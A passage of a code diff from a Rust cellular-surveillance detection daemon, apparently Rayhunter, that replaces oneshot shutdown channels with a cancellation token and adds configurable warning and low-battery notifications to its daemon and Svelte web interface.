info!("Headless mode, not spawning UI."); info!("Headless mode, not spawning UI.");
+3 -3
View File
@@ -4,7 +4,7 @@ use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer};
use async_trait::async_trait; use async_trait::async_trait;
use tokio::sync::mpsc::Receiver; use tokio::sync::mpsc::Receiver;
use tokio::sync::oneshot; use tokio_util::sync::CancellationToken;
use tokio_util::task::TaskTracker; use tokio_util::task::TaskTracker;
const FB_PATH: &str = "/dev/fb0"; const FB_PATH: &str = "/dev/fb0";
@@ -38,14 +38,14 @@ impl GenericFramebuffer for Framebuffer {
pub fn update_ui( pub fn update_ui(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
config: &config::Config, config: &config::Config,
ui_shutdown_rx: oneshot::Receiver<()>, shutdown_token: CancellationToken,
ui_update_rx: Receiver<DisplayState>, ui_update_rx: Receiver<DisplayState>,
) { ) {
generic_framebuffer::update_ui( generic_framebuffer::update_ui(
task_tracker, task_tracker,
config, config,
Framebuffer, Framebuffer,
ui_shutdown_rx, shutdown_token,
ui_update_rx, ui_update_rx,
) )
} }
+5 -9
View File
@@ -4,7 +4,7 @@
/// DisplayState::WarningDetected { .. } => Signal LED slowly blinks red. /// DisplayState::WarningDetected { .. } => Signal LED slowly blinks red.
use log::{error, info}; use log::{error, info};
use tokio::sync::mpsc; use tokio::sync::mpsc;
use tokio::sync::oneshot; use tokio_util::sync::CancellationToken;
use tokio_util::task::TaskTracker; use tokio_util::task::TaskTracker;
use std::time::Duration; use std::time::Duration;
@@ -27,7 +27,7 @@ async fn stop_blinking(path: String) {
pub fn update_ui( pub fn update_ui(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
config: &config::Config, config: &config::Config,
mut ui_shutdown_rx: oneshot::Receiver<()>, shutdown_token: CancellationToken,
mut ui_update_rx: mpsc::Receiver<DisplayState>, mut ui_update_rx: mpsc::Receiver<DisplayState>,
) { ) {
let mut invisible: bool = false; let mut invisible: bool = false;
@@ -40,13 +40,9 @@ pub fn update_ui(
let mut last_state = DisplayState::Paused; let mut last_state = DisplayState::Paused;
loop { loop {
match ui_shutdown_rx.try_recv() { if shutdown_token.is_cancelled() {
Ok(_) => { info!("received UI shutdown");
info!("received UI shutdown"); break;
break;
}
Err(oneshot::error::TryRecvError::Empty) => {}
Err(e) => panic!("error receiving shutdown message: {e}"),
} }
match ui_update_rx.try_recv() { match ui_update_rx.try_recv() {
Ok(new_state) => state = new_state, Ok(new_state) => state = new_state,
+4 -4
View File
@@ -1,6 +1,6 @@
use log::info; use log::info;
use tokio::sync::mpsc::Receiver; use tokio::sync::mpsc::Receiver;
use tokio::sync::oneshot; use tokio_util::sync::CancellationToken;
use tokio_util::task::TaskTracker; use tokio_util::task::TaskTracker;
use crate::config; use crate::config;
@@ -11,7 +11,7 @@ use std::fs;
pub fn update_ui( pub fn update_ui(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
config: &config::Config, config: &config::Config,
ui_shutdown_rx: oneshot::Receiver<()>, shutdown_token: CancellationToken,
ui_update_rx: Receiver<DisplayState>, ui_update_rx: Receiver<DisplayState>,
) { ) {
let display_level = config.ui_level; let display_level = config.ui_level;
@@ -23,9 +23,9 @@ pub fn update_ui(
// The alternative would be to make the entire initialization async // The alternative would be to make the entire initialization async
if fs::exists(tplink_onebit::OLED_PATH).unwrap_or_default() { if fs::exists(tplink_onebit::OLED_PATH).unwrap_or_default() {
info!("detected one-bit display"); info!("detected one-bit display");
tplink_onebit::update_ui(task_tracker, config, ui_shutdown_rx, ui_update_rx) tplink_onebit::update_ui(task_tracker, config, shutdown_token, ui_update_rx)
} else { } else {
info!("fallback to framebuffer"); info!("fallback to framebuffer");
tplink_framebuffer::update_ui(task_tracker, config, ui_shutdown_rx, ui_update_rx) tplink_framebuffer::update_ui(task_tracker, config, shutdown_token, ui_update_rx)
} }
} }
+3 -3
View File
@@ -2,13 +2,13 @@ use async_trait::async_trait;
use std::os::fd::AsRawFd; use std::os::fd::AsRawFd;
use tokio::fs::OpenOptions; use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt; use tokio::io::AsyncWriteExt;
use tokio_util::sync::CancellationToken;
use crate::config; use crate::config;
use crate::display::DisplayState; use crate::display::DisplayState;
use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer}; use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer};
use tokio::sync::mpsc::Receiver; use tokio::sync::mpsc::Receiver;
use tokio::sync::oneshot;
use tokio_util::task::TaskTracker; use tokio_util::task::TaskTracker;
const FB_PATH: &str = "/dev/fb0"; const FB_PATH: &str = "/dev/fb0";
@@ -80,14 +80,14 @@ impl GenericFramebuffer for Framebuffer {
pub fn update_ui( pub fn update_ui(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
config: &config::Config, config: &config::Config,
ui_shutdown_rx: oneshot::Receiver<()>, shutdown_token: CancellationToken,
ui_update_rx: Receiver<DisplayState>, ui_update_rx: Receiver<DisplayState>,
) { ) {
generic_framebuffer::update_ui( generic_framebuffer::update_ui(
task_tracker, task_tracker,
config, config,
Framebuffer, Framebuffer,
ui_shutdown_rx, shutdown_token,
ui_update_rx, ui_update_rx,
) )
} }
+5 -10
View File
@@ -6,8 +6,7 @@ use crate::display::DisplayState;
use log::{error, info}; use log::{error, info};
use tokio::sync::mpsc::Receiver; use tokio::sync::mpsc::Receiver;
use tokio::sync::oneshot; use tokio_util::sync::CancellationToken;
use tokio::sync::oneshot::error::TryRecvError;
use tokio_util::task::TaskTracker; use tokio_util::task::TaskTracker;
use std::time::Duration; use std::time::Duration;
@@ -112,7 +111,7 @@ const STATUS_WARNING: &[u8] = pixelart! {
pub fn update_ui( pub fn update_ui(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
config: &config::Config, config: &config::Config,
mut ui_shutdown_rx: oneshot::Receiver<()>, shutdown_token: CancellationToken,
mut ui_update_rx: Receiver<DisplayState>, mut ui_update_rx: Receiver<DisplayState>,
) { ) {
let display_level = config.ui_level; let display_level = config.ui_level;
@@ -124,13 +123,9 @@ pub fn update_ui(
let mut pixels = STATUS_SMILING; let mut pixels = STATUS_SMILING;
loop { loop {
match ui_shutdown_rx.try_recv() { if shutdown_token.is_cancelled() {
Ok(_) => { info!("received UI shutdown");
info!("received UI shutdown"); break;
break;
}
Err(TryRecvError::Empty) => {}
Err(e) => panic!("error receiving shutdown message: {e}"),
} }
match ui_update_rx.try_recv() { match ui_update_rx.try_recv() {
+5 -9
View File
@@ -4,7 +4,7 @@
/// DisplayState::WarningDetected => Signal LED is solid red. /// DisplayState::WarningDetected => Signal LED is solid red.
use log::{error, info}; use log::{error, info};
use tokio::sync::mpsc; use tokio::sync::mpsc;
use tokio::sync::oneshot; use tokio_util::sync::CancellationToken;
use tokio_util::task::TaskTracker; use tokio_util::task::TaskTracker;
use std::time::Duration; use std::time::Duration;
@@ -27,7 +27,7 @@ async fn led_off(path: String) {
pub fn update_ui( pub fn update_ui(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
config: &config::Config, config: &config::Config,
mut ui_shutdown_rx: oneshot::Receiver<()>, shutdown_token: CancellationToken,
mut ui_update_rx: mpsc::Receiver<DisplayState>, mut ui_update_rx: mpsc::Receiver<DisplayState>,
) { ) {
let mut invisible: bool = false; let mut invisible: bool = false;
@@ -41,13 +41,9 @@ pub fn update_ui(
let mut last_update = std::time::Instant::now(); let mut last_update = std::time::Instant::now();
loop { loop {
match ui_shutdown_rx.try_recv() { if shutdown_token.is_cancelled() {
Ok(_) => { info!("received UI shutdown");
info!("received UI shutdown"); break;
break;
}
Err(oneshot::error::TryRecvError::Empty) => {}
Err(e) => panic!("error receiving shutdown message: {e}"),
} }
match ui_update_rx.try_recv() { match ui_update_rx.try_recv() {
Ok(new_state) => state = new_state, Ok(new_state) => state = new_state,
+3 -3
View File
@@ -10,7 +10,7 @@ use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer};
use async_trait::async_trait; use async_trait::async_trait;
use tokio::sync::mpsc::Receiver; use tokio::sync::mpsc::Receiver;
use tokio::sync::oneshot; use tokio_util::sync::CancellationToken;
use tokio_util::task::TaskTracker; use tokio_util::task::TaskTracker;
const FB_PATH: &str = "/dev/fb0"; const FB_PATH: &str = "/dev/fb0";
@@ -43,14 +43,14 @@ impl GenericFramebuffer for Framebuffer {
pub fn update_ui( pub fn update_ui(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
config: &config::Config, config: &config::Config,
ui_shutdown_rx: oneshot::Receiver<()>, shutdown_token: CancellationToken,
ui_update_rx: Receiver<DisplayState>, ui_update_rx: Receiver<DisplayState>,
) { ) {
generic_framebuffer::update_ui( generic_framebuffer::update_ui(
task_tracker, task_tracker,
config, config,
Framebuffer, Framebuffer,
ui_shutdown_rx, shutdown_token,
ui_update_rx, ui_update_rx,
) )
} }
+3 -3
View File
@@ -3,7 +3,7 @@ use std::time::{Duration, Instant};
use tokio::fs::File; use tokio::fs::File;
use tokio::io::AsyncReadExt; use tokio::io::AsyncReadExt;
use tokio::sync::mpsc::Sender; use tokio::sync::mpsc::Sender;
use tokio::sync::oneshot; use tokio_util::sync::CancellationToken;
use tokio_util::task::TaskTracker; use tokio_util::task::TaskTracker;
use crate::config; use crate::config;
@@ -21,7 +21,7 @@ pub fn run_key_input_thread(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
config: &config::Config, config: &config::Config,
diag_tx: Sender<DiagDeviceCtrlMessage>, diag_tx: Sender<DiagDeviceCtrlMessage>,
mut ui_shutdown_rx: oneshot::Receiver<()>, cancellation_token: CancellationToken,
) { ) {
if config.key_input_mode == 0 { if config.key_input_mode == 0 {
return; return;
@@ -43,7 +43,7 @@ pub fn run_key_input_thread(
loop { loop {
tokio::select! { tokio::select! {
_ = &mut ui_shutdown_rx => { _ = cancellation_token.cancelled() => {
info!("received key input shutdown"); info!("received key input shutdown");
return; return;
} }
+37 -57
View File
@@ -13,8 +13,8 @@ mod stats;
use std::net::SocketAddr; use std::net::SocketAddr;
use std::sync::Arc; use std::sync::Arc;
use std::sync::atomic::{AtomicBool, Ordering};
use crate::battery::run_battery_notification_worker;
use crate::config::{parse_args, parse_config}; use crate::config::{parse_args, parse_config};
use crate::diag::run_diag_read_thread; use crate::diag::run_diag_read_thread;
use crate::error::RayhunterError; use crate::error::RayhunterError;
@@ -43,9 +43,10 @@ use rayhunter::diag_device::DiagDevice;
use stats::get_log; use stats::get_log;
use tokio::net::TcpListener; use tokio::net::TcpListener;
use tokio::select; use tokio::select;
use tokio::sync::RwLock;
use tokio::sync::mpsc::{self, Sender}; use tokio::sync::mpsc::{self, Sender};
use tokio::sync::{RwLock, oneshot};
use tokio::task::JoinHandle; use tokio::task::JoinHandle;
use tokio_util::sync::CancellationToken;
use tokio_util::task::TaskTracker; use tokio_util::task::TaskTracker;
type AppRouter = Router<Arc<ServerState>>; type AppRouter = Router<Arc<ServerState>>;
@@ -78,7 +79,7 @@ fn get_router() -> AppRouter {
async fn run_server( async fn run_server(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
state: Arc<ServerState>, state: Arc<ServerState>,
server_shutdown_rx: oneshot::Receiver<()>, shutdown_token: CancellationToken,
) -> JoinHandle<()> { ) -> JoinHandle<()> {
info!("spinning up server"); info!("spinning up server");
let addr = SocketAddr::from(([0, 0, 0, 0], state.config.port)); let addr = SocketAddr::from(([0, 0, 0, 0], state.config.port));
@@ -88,17 +89,12 @@ async fn run_server(
task_tracker.spawn(async move { task_tracker.spawn(async move {
info!("The orca is hunting for stingrays..."); info!("The orca is hunting for stingrays...");
axum::serve(listener, app) axum::serve(listener, app)
.with_graceful_shutdown(server_shutdown_signal(server_shutdown_rx)) .with_graceful_shutdown(shutdown_token.cancelled_owned())
.await .await
.unwrap(); .unwrap();
}) })
} }
async fn server_shutdown_signal(server_shutdown_rx: oneshot::Receiver<()>) {
server_shutdown_rx.await.unwrap();
info!("Server received shutdown signal, exiting...");
}
// Loads a RecordingStore if one exists, and if not, only create one if we're // Loads a RecordingStore if one exists, and if not, only create one if we're
// not in debug mode. If we fail to parse the manifest AND we're not in debug // not in debug mode. If we fail to parse the manifest AND we're not in debug
// mode, try to recover the manifest from the existing QMDL files // mode, try to recover the manifest from the existing QMDL files
@@ -130,15 +126,10 @@ async fn init_qmdl_store(config: &config::Config) -> Result<RecordingStore, Rayh
// Start a thread that'll track when user hits ctrl+c. When that happens, // Start a thread that'll track when user hits ctrl+c. When that happens,
// trigger various cleanup tasks, including sending signals to other threads to // trigger various cleanup tasks, including sending signals to other threads to
// shutdown // shutdown
#[allow(clippy::too_many_arguments)]
fn run_shutdown_thread( fn run_shutdown_thread(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
diag_device_sender: Sender<DiagDeviceCtrlMessage>, diag_device_sender: Sender<DiagDeviceCtrlMessage>,
daemon_restart_rx: oneshot::Receiver<()>, shutdown_token: CancellationToken,
should_restart_flag: Arc<AtomicBool>,
server_shutdown_tx: oneshot::Sender<()>,
maybe_ui_shutdown_tx: Option<oneshot::Sender<()>>,
maybe_key_input_shutdown_tx: Option<oneshot::Sender<()>>,
qmdl_store_lock: Arc<RwLock<RecordingStore>>, qmdl_store_lock: Arc<RwLock<RecordingStore>>,
analysis_tx: Sender<AnalysisCtrlMessage>, analysis_tx: Sender<AnalysisCtrlMessage>,
) -> JoinHandle<Result<(), RayhunterError>> { ) -> JoinHandle<Result<(), RayhunterError>> {
@@ -150,17 +141,9 @@ fn run_shutdown_thread(
if let Err(err) = res { if let Err(err) = res {
error!("Unable to listen for shutdown signal: {err}"); error!("Unable to listen for shutdown signal: {err}");
} }
should_restart_flag.store(false, Ordering::Relaxed);
} }
res = daemon_restart_rx => { _ = shutdown_token.cancelled() => {}
if let Err(err) = res { }
error!("Unable to listen for shutdown signal: {err}");
}
should_restart_flag.store(true, Ordering::Relaxed);
}
};
let mut qmdl_store = qmdl_store_lock.write().await; let mut qmdl_store = qmdl_store_lock.write().await;
if qmdl_store.current_entry.is_some() { if qmdl_store.current_entry.is_some() {
@@ -169,15 +152,7 @@ fn run_shutdown_thread(
info!("Done!"); info!("Done!");
} }
server_shutdown_tx shutdown_token.cancel();
.send(())
.expect("couldn't send server shutdown signal");
if let Some(ui_shutdown_tx) = maybe_ui_shutdown_tx {
let _ = ui_shutdown_tx.send(());
}
if let Some(key_input_shutdown_tx) = maybe_key_input_shutdown_tx {
let _ = key_input_shutdown_tx.send(());
}
diag_device_sender diag_device_sender
.send(DiagDeviceCtrlMessage::Exit) .send(DiagDeviceCtrlMessage::Exit)
.await .await
@@ -194,9 +169,12 @@ fn run_shutdown_thread(
async fn main() -> Result<(), RayhunterError> { async fn main() -> Result<(), RayhunterError> {
env_logger::init(); env_logger::init();
rustls_rustcrypto::provider() #[cfg(feature = "rustcrypto-tls")]
.install_default() {
.expect("Couldn't install rustcrypto provider"); rustls_rustcrypto::provider()
.install_default()
.expect("Couldn't install rustcrypto provider");
}
let args = parse_args(); let args = parse_args();
@@ -223,14 +201,12 @@ async fn run_with_config(
let (diag_tx, diag_rx) = mpsc::channel::<DiagDeviceCtrlMessage>(1); let (diag_tx, diag_rx) = mpsc::channel::<DiagDeviceCtrlMessage>(1);
let (ui_update_tx, ui_update_rx) = mpsc::channel::<display::DisplayState>(1); let (ui_update_tx, ui_update_rx) = mpsc::channel::<display::DisplayState>(1);
let (analysis_tx, analysis_rx) = mpsc::channel::<AnalysisCtrlMessage>(5); let (analysis_tx, analysis_rx) = mpsc::channel::<AnalysisCtrlMessage>(5);
let mut maybe_ui_shutdown_tx = None; let restart_token = CancellationToken::new();
let mut maybe_key_input_shutdown_tx = None; let shutdown_token = restart_token.child_token();
let notification_service = NotificationService::new(config.ntfy_url.clone()); let notification_service = NotificationService::new(config.ntfy_url.clone());
if !config.debug_mode { if !config.debug_mode {
let (ui_shutdown_tx, ui_shutdown_rx) = oneshot::channel();
maybe_ui_shutdown_tx = Some(ui_shutdown_tx);
info!("Using configuration for device: {0:?}", config.device); info!("Using configuration for device: {0:?}", config.device);
let mut dev = DiagDevice::new(&config.device) let mut dev = DiagDevice::new(&config.device)
.await .await
@@ -261,21 +237,17 @@ async fn run_with_config(
Device::Pinephone => display::headless::update_ui, Device::Pinephone => display::headless::update_ui,
Device::Uz801 => display::uz801::update_ui, Device::Uz801 => display::uz801::update_ui,
}; };
update_ui(&task_tracker, &config, ui_shutdown_rx, ui_update_rx); update_ui(&task_tracker, &config, shutdown_token.clone(), ui_update_rx);
info!("Starting Key Input service"); info!("Starting Key Input service");
let (key_input_shutdown_tx, key_input_shutdown_rx) = oneshot::channel();
maybe_key_input_shutdown_tx = Some(key_input_shutdown_tx);
key_input::run_key_input_thread( key_input::run_key_input_thread(
&task_tracker, &task_tracker,
&config, &config,
diag_tx.clone(), diag_tx.clone(),
key_input_shutdown_rx, shutdown_token.clone(),
); );
} }
let (daemon_restart_tx, daemon_restart_rx) = oneshot::channel::<()>();
let (server_shutdown_tx, server_shutdown_rx) = oneshot::channel::<()>();
let analysis_status_lock = Arc::new(RwLock::new(analysis_status)); let analysis_status_lock = Arc::new(RwLock::new(analysis_status));
run_analysis_thread( run_analysis_thread(
&task_tracker, &task_tracker,
@@ -284,20 +256,28 @@ async fn run_with_config(
analysis_status_lock.clone(), analysis_status_lock.clone(),
config.analyzers.clone(), config.analyzers.clone(),
); );
let should_restart_flag = Arc::new(AtomicBool::new(false));
run_shutdown_thread( run_shutdown_thread(
&task_tracker, &task_tracker,
diag_tx.clone(), diag_tx.clone(),
daemon_restart_rx, shutdown_token.clone(),
should_restart_flag.clone(),
server_shutdown_tx,
maybe_ui_shutdown_tx,
maybe_key_input_shutdown_tx,
qmdl_store_lock.clone(), qmdl_store_lock.clone(),
analysis_tx.clone(), analysis_tx.clone(),
); );
run_notification_worker(&task_tracker, notification_service);
run_battery_notification_worker(
&task_tracker,
config.device.clone(),
notification_service.new_handler(),
shutdown_token.clone(),
);
run_notification_worker(
&task_tracker,
notification_service,
config.enabled_notifications.clone(),
);
let state = Arc::new(ServerState { let state = Arc::new(ServerState {
config_path: args.config_path.clone(), config_path: args.config_path.clone(),
config, config,
@@ -305,16 +285,16 @@ async fn run_with_config(
diag_device_ctrl_sender: diag_tx, diag_device_ctrl_sender: diag_tx,
analysis_status_lock, analysis_status_lock,
analysis_sender: analysis_tx, analysis_sender: analysis_tx,
daemon_restart_tx: Arc::new(RwLock::new(Some(daemon_restart_tx))), daemon_restart_token: restart_token.clone(),
ui_update_sender: Some(ui_update_tx), ui_update_sender: Some(ui_update_tx),
}); });
run_server(&task_tracker, state, server_shutdown_rx).await; run_server(&task_tracker, state, shutdown_token.clone()).await;
task_tracker.close(); task_tracker.close();
task_tracker.wait().await; task_tracker.wait().await;
info!("see you space cowboy..."); info!("see you space cowboy...");
Ok(should_restart_flag.load(Ordering::Relaxed)) Ok(restart_token.is_cancelled())
} }
#[cfg(test)] #[cfg(test)]
+20 -4
View File
@@ -5,19 +5,30 @@ use std::{
}; };
use log::error; use log::error;
use serde::{Deserialize, Serialize};
use tokio::sync::mpsc::{self, error::TryRecvError}; use tokio::sync::mpsc::{self, error::TryRecvError};
use tokio_util::task::TaskTracker; use tokio_util::task::TaskTracker;
#[derive(Hash, Eq, PartialEq, Debug, Clone, Serialize, Deserialize)]
pub enum NotificationType {
Warning,
LowBattery,
}
pub struct Notification { pub struct Notification {
message_type: String, notification_type: NotificationType,
message: String, message: String,
debounce: Option<Duration>, debounce: Option<Duration>,
} }
impl Notification { impl Notification {
pub fn new(message_type: String, message: String, debounce: Option<Duration>) -> Self { pub fn new(
notification_type: NotificationType,
message: String,
debounce: Option<Duration>,
) -> Self {
Notification { Notification {
message_type, notification_type,
message, message,
debounce, debounce,
} }
@@ -52,6 +63,7 @@ impl NotificationService {
pub fn run_notification_worker( pub fn run_notification_worker(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
mut notification_service: NotificationService, mut notification_service: NotificationService,
enabled_notifications: Vec<NotificationType>,
) { ) {
task_tracker.spawn(async move { task_tracker.spawn(async move {
if let Some(url) = notification_service.url if let Some(url) = notification_service.url
@@ -65,8 +77,12 @@ pub fn run_notification_worker(
loop { loop {
match notification_service.rx.try_recv() { match notification_service.rx.try_recv() {
Ok(notification) => { Ok(notification) => {
if !enabled_notifications.contains(&notification.notification_type) {
continue;
}
let status = notification_statuses let status = notification_statuses
.entry(notification.message_type) .entry(notification.notification_type)
.or_insert_with(|| NotificationStatus { .or_insert_with(|| NotificationStatus {
message: "".to_string(), message: "".to_string(),
needs_sending: true, needs_sending: true,
+9 -26
View File
@@ -13,10 +13,11 @@ use log::{error, warn};
use std::sync::Arc; use std::sync::Arc;
use tokio::fs::write; use tokio::fs::write;
use tokio::io::{AsyncReadExt, copy, duplex}; use tokio::io::{AsyncReadExt, copy, duplex};
use tokio::sync::RwLock;
use tokio::sync::mpsc::Sender; use tokio::sync::mpsc::Sender;
use tokio::sync::{RwLock, oneshot};
use tokio_util::compat::FuturesAsyncWriteCompatExt; use tokio_util::compat::FuturesAsyncWriteCompatExt;
use tokio_util::io::ReaderStream; use tokio_util::io::ReaderStream;
use tokio_util::sync::CancellationToken;
use crate::DiagDeviceCtrlMessage; use crate::DiagDeviceCtrlMessage;
use crate::analysis::{AnalysisCtrlMessage, AnalysisStatus}; use crate::analysis::{AnalysisCtrlMessage, AnalysisStatus};
@@ -32,7 +33,7 @@ pub struct ServerState {
pub diag_device_ctrl_sender: Sender<DiagDeviceCtrlMessage>, pub diag_device_ctrl_sender: Sender<DiagDeviceCtrlMessage>,
pub analysis_status_lock: Arc<RwLock<AnalysisStatus>>, pub analysis_status_lock: Arc<RwLock<AnalysisStatus>>,
pub analysis_sender: Sender<AnalysisCtrlMessage>, pub analysis_sender: Sender<AnalysisCtrlMessage>,
pub daemon_restart_tx: Arc<RwLock<Option<oneshot::Sender<()>>>>, pub daemon_restart_token: CancellationToken,
pub ui_update_sender: Option<Sender<DisplayState>>, pub ui_update_sender: Option<Sender<DisplayState>>,
} }
@@ -73,11 +74,6 @@ pub async fn serve_static(
let path = path.trim_start_matches('/'); let path = path.trim_start_matches('/');
match path { match path {
"rayhunter_icon.png" => (
[(header::CONTENT_TYPE, HeaderValue::from_static("image/png"))],
include_bytes!("../web/build/rayhunter_icon.png"),
)
.into_response(),
"rayhunter_orca_only.png" => ( "rayhunter_orca_only.png" => (
[(header::CONTENT_TYPE, HeaderValue::from_static("image/png"))], [(header::CONTENT_TYPE, HeaderValue::from_static("image/png"))],
include_bytes!("../web/build/rayhunter_orca_only.png"), include_bytes!("../web/build/rayhunter_orca_only.png"),
@@ -133,24 +129,11 @@ pub async fn set_config(
})?; })?;
// Trigger daemon restart after writing config // Trigger daemon restart after writing config
let mut restart_tx = state.daemon_restart_tx.write().await; state.daemon_restart_token.cancel();
if let Some(sender) = restart_tx.take() { Ok((
sender.send(()).map_err(|_| { StatusCode::ACCEPTED,
( "wrote config and triggered restart".to_string(),
StatusCode::INTERNAL_SERVER_ERROR, ))
"couldn't send restart signal".to_string(),
)
})?;
Ok((
StatusCode::ACCEPTED,
"wrote config and triggered restart".to_string(),
))
} else {
Ok((
StatusCode::ACCEPTED,
"wrote config but restart already triggered".to_string(),
))
}
} }
pub async fn get_zip( pub async fn get_zip(
@@ -331,7 +314,7 @@ mod tests {
diag_device_ctrl_sender: tx, diag_device_ctrl_sender: tx,
analysis_status_lock: Arc::new(RwLock::new(analysis_status)), analysis_status_lock: Arc::new(RwLock::new(analysis_status)),
analysis_sender: analysis_tx, analysis_sender: analysis_tx,
daemon_restart_tx: Arc::new(RwLock::new(None)), daemon_restart_token: CancellationToken::new(),
ui_update_sender: None, ui_update_sender: None,
}) })
} }
-3
View File
@@ -19,6 +19,3 @@ Thumbs.db
# Vite # Vite
vite.config.js.timestamp-* vite.config.js.timestamp-*
vite.config.ts.timestamp-* vite.config.ts.timestamp-*
package-lock.json
yarn.lock
+5104
View File
File diff suppressed because it is too large Load Diff
+4 -3
View File
@@ -18,8 +18,9 @@
"@sveltejs/adapter-auto": "^3.0.0", "@sveltejs/adapter-auto": "^3.0.0",
"@sveltejs/adapter-static": "^3.0.5", "@sveltejs/adapter-static": "^3.0.5",
"@sveltejs/kit": "^2.13.0", "@sveltejs/kit": "^2.13.0",
"@sveltejs/vite-plugin-svelte": "^4.0.0", "@sveltejs/vite-plugin-svelte": "^6.2.1",
"@types/eslint": "^9.6.0", "@types/eslint": "^9.6.0",
"@types/node": "^24.7.0",
"autoprefixer": "^10.4.20", "autoprefixer": "^10.4.20",
"eslint": "^9.7.0", "eslint": "^9.7.0",
"eslint-config-prettier": "^9.1.0", "eslint-config-prettier": "^9.1.0",
@@ -32,7 +33,7 @@
"tailwindcss": "^3.4.9", "tailwindcss": "^3.4.9",
"typescript": "^5.0.0", "typescript": "^5.0.0",
"typescript-eslint": "^8.0.0", "typescript-eslint": "^8.0.0",
"vite": "^5.0.3", "vite": "^7.1.9",
"vitest": "^2.0.4" "vitest": "^3.2.4"
} }
} }
@@ -33,7 +33,7 @@
{#if report.statistics.num_warnings === 0 && report.statistics.num_informational_logs === 0} {#if report.statistics.num_warnings === 0 && report.statistics.num_informational_logs === 0}
<p>Nothing to show!</p> <p>Nothing to show!</p>
{:else} {:else}
<div class="overflow-x-scroll"> <div class="overflow-x-auto">
<table class="table-auto text-left"> <table class="table-auto text-left">
<thead class="p-2"> <thead class="p-2">
<tr class="bg-gray-300"> <tr class="bg-gray-300">
@@ -77,10 +77,10 @@
<div> <div>
<p class="text-lg underline">Unparsed Messages</p> <p class="text-lg underline">Unparsed Messages</p>
<p> <p>
These are due to a limitation or bug in Rayhunter's parser, and aren't ususally a These are due to a limitation or bug in Rayhunter's parser, and aren't usually a
problem. problem.
</p> </p>
<div class="overflow-x-scroll"> <div class="overflow-x-auto">
<table class="table-auto text-left"> <table class="table-auto text-left">
<thead class="p-2"> <thead class="p-2">
<tr class="bg-gray-300"> <tr class="bg-gray-300">
+50 -12
View File
@@ -111,18 +111,6 @@
</select> </select>
</div> </div>
<div>
<label for="ntfy_url" class="block text-sm font-medium text-gray-700 mb-1">
ntfy URL for Sending Notifications
</label>
<input
id="ntfy_url"
type="url"
bind:value={config.ntfy_url}
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
/>
</div>
<div class="space-y-3"> <div class="space-y-3">
<div class="flex items-center"> <div class="flex items-center">
<input <input
@@ -137,6 +125,56 @@
</div> </div>
</div> </div>
<div class="border-t pt-4 mt-6 space-y-3">
<h3 class="text-lg font-semibold text-gray-800 mb-4">Notification Settings</h3>
<div>
<label for="ntfy_url" class="block text-sm font-medium text-gray-700 mb-1">
ntfy URL for Sending Notifications (if unset you will not receive
notifications)
</label>
<input
id="ntfy_url"
type="url"
bind:value={config.ntfy_url}
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
/>
</div>
<div class="space-y-2">
<div class="block text-sm font-medium text-gray-700 mb-1">
Enabled Notification Types
</div>
<div class="flex items-center">
<input
type="checkbox"
id="enable_warning_notifications"
value="Warning"
bind:group={config.enabled_notifications}
/>
<label
for="enable_warning_notifications"
class="ml-2 block text-sm text-gray-700"
>
Warnings
</label>
</div>
<div class="flex items-center">
<input
type="checkbox"
id="enable_lowbattery_notifications"
value="LowBattery"
bind:group={config.enabled_notifications}
/>
<label
for="enable_lowbattery_notifications"
class="ml-2 block text-sm text-gray-700"
>
Low Battery
</label>
</div>
</div>
</div>
<div class="border-t pt-4 mt-6"> <div class="border-t pt-4 mt-6">
<h3 class="text-lg font-semibold text-gray-800 mb-4"> <h3 class="text-lg font-semibold text-gray-800 mb-4">
Analyzer Heuristic Settings Analyzer Heuristic Settings
@@ -44,7 +44,7 @@
</script> </script>
<div <div
class="{status_row_color} {status_border_color} drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 overflow-x-scroll overflow-y-hidden" class="{status_row_color} {status_border_color} drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 overflow-x-auto overflow-y-hidden"
> >
{#if current} {#if current}
<div class="flex flex-row justify-between gap-2"> <div class="flex flex-row justify-between gap-2">
@@ -81,7 +81,7 @@
'N/A'}</span 'N/A'}</span
> >
</div> </div>
<div class="flex flex-row justify-between lg:justify-end gap-1 mt-2 overflow-x-scroll"> <div class="flex flex-row justify-between lg:justify-end gap-1 mt-2 overflow-x-auto">
<DownloadLink url={entry.get_pcap_url()} text="pcap" full_button /> <DownloadLink url={entry.get_pcap_url()} text="pcap" full_button />
<DownloadLink url={entry.get_qmdl_url()} text="qmdl" full_button /> <DownloadLink url={entry.get_qmdl_url()} text="qmdl" full_button />
<DownloadLink url={entry.get_zip_url()} text="zip" full_button /> <DownloadLink url={entry.get_zip_url()} text="zip" full_button />
+6
View File
@@ -12,11 +12,17 @@ export interface AnalyzerConfig {
test_analyzer: boolean; test_analyzer: boolean;
} }
export enum enabled_notifications {
Warning = 'Warning',
LowBattery = 'LowBattery',
}
export interface Config { export interface Config {
ui_level: number; ui_level: number;
colorblind_mode: boolean; colorblind_mode: boolean;
key_input_mode: number; key_input_mode: number;
ntfy_url: string; ntfy_url: string;
enabled_notifications: enabled_notifications[];
analyzers: AnalyzerConfig; analyzers: AnalyzerConfig;
} }
+22 -2
View File
@@ -14,6 +14,7 @@
let manager: AnalysisManager = new AnalysisManager(); let manager: AnalysisManager = new AnalysisManager();
let loaded = $state(false); let loaded = $state(false);
let filter_threshold: boolean = $state(false);
let entries: ManifestEntry[] = $state([]); let entries: ManifestEntry[] = $state([]);
